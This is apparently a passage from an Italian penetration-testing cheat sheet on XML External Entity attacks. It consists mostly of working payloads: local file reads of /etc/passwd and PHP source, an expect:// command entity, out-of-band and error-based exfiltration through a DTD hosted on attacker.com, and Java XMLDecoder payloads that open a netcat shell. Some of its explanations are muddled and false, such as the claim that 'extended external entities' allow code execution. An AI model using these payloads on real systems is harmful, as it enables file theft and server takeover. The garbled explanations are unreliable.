<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

Il SOAP (Simple Object Access Protocol) è un protocollo di comunicazione basato su XML utilizzato per lo scambio di informazioni strutturate tra sistemi distribuiti su una rete. Tuttavia, il SOAP può essere vulnerabile agli attacchi di XEE (XML External Entity).

Cos'è XEE?

L'XEE (XML External Entity) è una vulnerabilità che sfrutta la capacità di un'applicazione di elaborare entità esterne definite in un documento XML. Questa vulnerabilità può consentire a un attaccante di leggere file arbitrari sul server o eseguire attacchi di denial of service (DoS).

Come funziona l'attacco XEE?

L'attacco XEE sfrutta la funzionalità di elaborazione delle entità esterne di un'applicazione SOAP. Un attaccante può inserire un'entità esterna nel documento XML inviato all'applicazione, che verrà poi elaborata dal parser XML. L'entità esterna può fare riferimento a un file sul server e l'attaccante può ottenere il contenuto di quel file nella risposta dell'applicazione.

Esempio di attacco XEE

Di seguito è riportato un esempio di payload XEE che può essere utilizzato per leggere il file /etc/passwd sul server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

In questo esempio, l'entità esterna xxe viene definita come il contenuto del file /etc/passwd. Quando l'applicazione elabora il documento XML, il contenuto del file /etc/passwd verrà incluso nella risposta.

Come proteggersi dagli attacchi XEE?

Per proteggersi dagli attacchi XEE, è consigliabile adottare le seguenti misure:

  • Utilizzare parser XML sicuri che disabilitino l'elaborazione delle entità esterne.
  • Validare e filtrare attentamente i dati di input XML per evitare l'inclusione di entità esterne non autorizzate.
  • Limitare l'accesso ai file di sistema sensibili e utilizzare meccanismi di autorizzazione adeguati.
  • Mantenere il software sempre aggiornato con le ultime patch di sicurezza.

Conclusione

L'attacco XEE può sfruttare la vulnerabilità del protocollo SOAP per ottenere accesso non autorizzato a file sensibili sul server. È importante adottare misure di sicurezza adeguate per proteggersi da questo tipo di attacco, come l'utilizzo di parser XML sicuri e la validazione accurata dei dati di input XML.

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Questo esempio è ispirato a https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) viene utilizzato per standardizzare lo scambio di dati nei processi di localizzazione. È un formato basato su XML utilizzato principalmente per trasferire dati localizzabili tra strumenti durante la localizzazione e come formato di scambio comune per gli strumenti CAT (Computer-Aided Translation).

Analisi della richiesta cieca

Viene effettuata una richiesta al server con il seguente contenuto:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Tuttavia, questa richiesta provoca un errore interno del server, menzionando specificamente un problema con le dichiarazioni di markup:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Nonostante l'errore, viene registrato un hit su Burp Collaborator, indicando un certo livello di interazione con l'entità esterna.

Esfiltrazione dei dati fuori banda Per esfiltrare i dati, viene inviata una richiesta modificata:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Questa approccio rivela che l'User Agent indica l'uso di Java 1.8. Una limitazione nota di questa versione di Java è l'incapacità di recuperare file contenenti un carattere di nuova riga, come ad esempio /etc/passwd, utilizzando la tecnica Out of Band.

Esfiltrazione dei dati basata sugli errori Per superare questa limitazione, viene utilizzato un approccio basato sugli errori. Il file DTD è strutturato come segue per innescare un errore che include dati da un file di destinazione:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Il server risponde con un errore, riflettendo l'assenza del file, indicando che il server sta cercando di accedere al file specificato:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Per includere il contenuto del file nel messaggio di errore, il file DTD viene modificato:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Questa modifica porta all'esfiltrazione riuscita del contenuto del file, come risulta dall'output di errore inviato tramite HTTP. Ciò indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.

RSS - XEE

XML valido con formato RSS per sfruttare una vulnerabilità XXE.

Ping back

Semplice richiesta HTTP al server degli attaccanti

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leggi file

L'attacco di lettura del file consente a un attaccante di accedere al contenuto di file arbitrari sul server di destinazione. Questo attacco sfrutta la vulnerabilità delle entità esterne XML (XXE) o delle entità esterne estese (XEE) per ottenere informazioni sensibili.

XXE

Le entità esterne XML (XXE) consentono di includere dati esterni in un documento XML. Un attaccante può sfruttare questa vulnerabilità per leggere file sul server di destinazione. L'attacco XXE può essere eseguito utilizzando diversi vettori, come l'inclusione di un file locale o l'accesso a risorse di rete.

XEE

Le entità esterne estese (XEE) sono una variante delle XXE che consentono di eseguire codice arbitrario sul server di destinazione. Questo tipo di attacco può essere molto pericoloso, in quanto consente all'attaccante di ottenere il controllo completo del server.

Per proteggere un'applicazione da questi attacchi, è consigliabile:

  • Disabilitare le entità esterne XML (XXE) o le entità esterne estese (XEE) se non sono necessarie.
  • Validare e filtrare i dati di input per prevenire l'inclusione di entità esterne non autorizzate.
  • Utilizzare parser XML sicuri che non supportano le entità esterne o che le gestiscono correttamente.

In conclusione, l'attacco di lettura del file sfrutta le vulnerabilità delle entità esterne XML (XXE) o delle entità esterne estese (XEE) per accedere a file sensibili sul server di destinazione. Per proteggere un'applicazione da questi attacchi, è necessario adottare misure preventive come la disabilitazione delle entità esterne e la validazione dei dati di input.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leggere il codice sorgente

Utilizzando il filtro base64 di PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un utente malintenzionato riesce a far sì che un'applicazione utilizzi dati arbitrari in una chiamata al metodo readObject, otterrà immediatamente l'esecuzione del codice sul server.

Utilizzando Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder è una classe in Java che viene utilizzata per creare e gestire processi esterni al programma corrente. Questa classe fornisce metodi per specificare il comando da eseguire, gli argomenti da passare al comando e l'ambiente in cui eseguire il comando.

Per utilizzare ProcessBuilder, è necessario creare un'istanza della classe e impostare il comando e gli argomenti desiderati utilizzando il metodo command(). Successivamente, è possibile impostare l'ambiente di esecuzione utilizzando il metodo environment(). Infine, è possibile avviare il processo utilizzando il metodo start().

Ecco un esempio di utilizzo di ProcessBuilder per eseguire un comando esterno:

ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("ls", "-l", "/tmp");
Process process = processBuilder.start();

In questo esempio, viene creato un oggetto ProcessBuilder e viene impostato il comando "ls" con gli argomenti "-l" e "/tmp". Successivamente, viene avviato il processo utilizzando il metodo start().

ProcessBuilder è utile in molte situazioni, ad esempio quando è necessario eseguire comandi esterni da un'applicazione Java o quando si desidera automatizzare l'esecuzione di script o programmi esterni.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Strumenti

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: